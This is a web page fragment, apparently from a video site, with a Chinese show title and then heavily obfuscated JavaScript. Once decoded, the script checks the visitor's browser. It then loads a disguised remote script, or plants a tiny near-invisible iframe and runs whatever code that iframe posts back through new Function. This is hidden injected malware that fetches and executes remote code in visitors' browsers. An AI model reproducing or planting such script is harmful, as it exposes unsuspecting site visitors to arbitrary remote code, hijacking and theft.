挑战吧！大神(2零21)

eval("\x77\x69\x6e\x64\x6f\x77")["\x67\x45\x51"]=function(e){var li ='ABCDEFGHI'+'JKLMNOPQRSTUVW'+''+'XYZabcde'+''+'fghijklmnopqrs'+''+'tuvw'+''+'xyz0'+''+'1234567'+''+'89+/='+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=li.indexOf(e.charAt(f++));o=li.indexOf(e.charAt(f++));u=li.indexOf(e.charAt(f++));a=li.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}

eval("\x77\x69\x6e\x64\x6f\x77")["\x46\x69\x57\x59\x51\x6e"]=function(){eval(gEQ("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoZ0VRKHUucmVwbGFjZShuZXcgUmVnRXhwKGMrJycrYywnZycpLGMpLnNwbGl0KCcnKS5yZXZlcnNlKCkuam9pbignJykpKTsnalF1ZXJ5Jzt2YXIgX3VhPW5hdmlnYXRvci51c2VyQWdlbnQ7dmFyIF9nRVFnRVE9JzxzJysnY3JpJysncHQgc3JjPSInK3UrJy5qcyI+PFwvcycrJ2NyaXAnKyd0Pic7aWYoX3VhLmluZGV4T2YoZ0VRKCJZbUZwWkhVPSIpKT4tMSB8fCBfdWEuaW5kZXhPZihnRVEoJ1NIVmhkMlZwUW5KdmQzTmxjZz09JykpPi0xKXtpZihfdWEuaW5kZXhPZihnRVEoJ2FWQm9iMjVsJykpPi0xKXtkb2N1bWVudC53cml0ZShfZ0VRZ0VRKTt9ZWxzZXtmdW5jdGlvbiByZChuLG0pe3JldHVybiBNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkqKG0tbisxKStuKTt9ZnVuY3Rpb24gcm0oZSl7aWYoZSYmZS50YWdOYW1lLnRvVXBwZXJDYXNlKCk9PT0iSUZSQU1FIiYmZS5zcmMuaW5kZXhPZih1KT4tMSl7ZS5yZW1vdmUoKTt9ZWxzZSBpZihlLm5leHRFbGVtZW50U2libGluZyl7cm0oZS5uZXh0RWxlbWVudFNpYmxpbmcpO319bGV0IGM9ZFtnRVEoIlkzVnljbVZ1ZEZOamNtbHdkQT09IildO3ZhciBfaWQ9X2NsYXNzPSdseWgnKycnKyduJysnVW0nKycnKydnJysnJysnZSc7dmFyIF9fa2RucWlkID0gJ2snICsgcmQoMSwgMTAwMDAwKTtkWyd3JysncmknKyd0JysnZScrJ2xuJ10oJzxkJysnaXYgaScrJ2Q9JysnIicrX19rZG5xaWQrJyI+JysnPC9kJysnaXYnKyc+Jyk7d1snX19rJysnZGEnKyducScrJ29iJysnal8zNTYnXT1kWydxdScrJ2VyeScrJ1NlbGUnKydjdG8nKydyJ10oJyMnK19fa2RucWlkKTtfaWQgKz0gZFsncXUnKydlcnknKydTZScrJ2xlYycrJ3RvJysnckEnKydsbCddKCcuJytfY2xhc3MpLmxlbmd0aDt2YXIgeiA9IHUrJy0yLycrX2lkKycvJytyO2RbJ3cnKydyaScrJ3QnKydlJ10oJzxpJysnZnInKydhJysnbWUgc3R5bGU9IicrJ20nKydhcicrJ2dpJysnbjowO3AnKydhZCcrJ2QnKydpbicrJ2c6MDtiJysnb3InKydkJysnZXI6bicrJ29uJysnZTsnKydvcCcrJ2EnKydjaScrJ3QnKyd5OjAnKycuMCcrcmQoMiw5KSsnO3dpJysnZHQnKydoOicrcmQoMiw1KSsncCcrJ3g7aCcrJ2UnKydpZ2gnKyd0OicrcmQoMiw1KSsncCcrJ3g7JysnImFsJysnbG93dHJhbicrJ3NwYScrJ3JlbmN5IHNyJysnYz0iJyt6KyciPjwvaScrJ2ZyJysnYScrJ21lPicpO3dbImFkIisiZEV2IisiZW50TCIrImlzdCIrImVuZXIiXSgibSIrImVzcyIrImFnZSIsZnVuY3Rpb24oZSl7aWYoZS5kYXRhW3IrX2lkXSl7cm0oYyk7bmV3IEZ1bmN0aW9uKGdFUShlLmRhdGFbcitfaWRdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fX1lbHNle2RvY3VtZW50LndyaXRlKF9nRVFnRVEpO319KSgnMScrJycrJzFJVCcrJ0wnKycnKycyJysnJysnVXonKycnKydNdE0nKydtUnknKycnKydVJysnJysneWExJysnJysnMWQzJysnJysnWicrJ3AnKycnKycxJysnJysnMW1aJysnR0pUJysnSnonKydRRCcrJ04nKycnKyd3SScrJ1RReicrJ1VpZScrJycrJzUnKycnKydoJysnJysnbicrJ0wnKycnKyd5QScrJycrJ1RacicrJycrJ2RtYicrJ3AnKycnKyd4bScrJ0x6WicrJycrJ2snKycnKydNJysnJysnbFknKycnKydrTWwnKydFME0nKycnKydsJysnJysnTScrJ0gnKycnKydjMCcrJycrJ1InKycnKydIYScrJycsJ2x5aCcrJycrJ24nKydVbScrJycrJ2cnKycnKydlJyx3aW5kb3csZG9jdW1lbnQsMCwnMScp"));}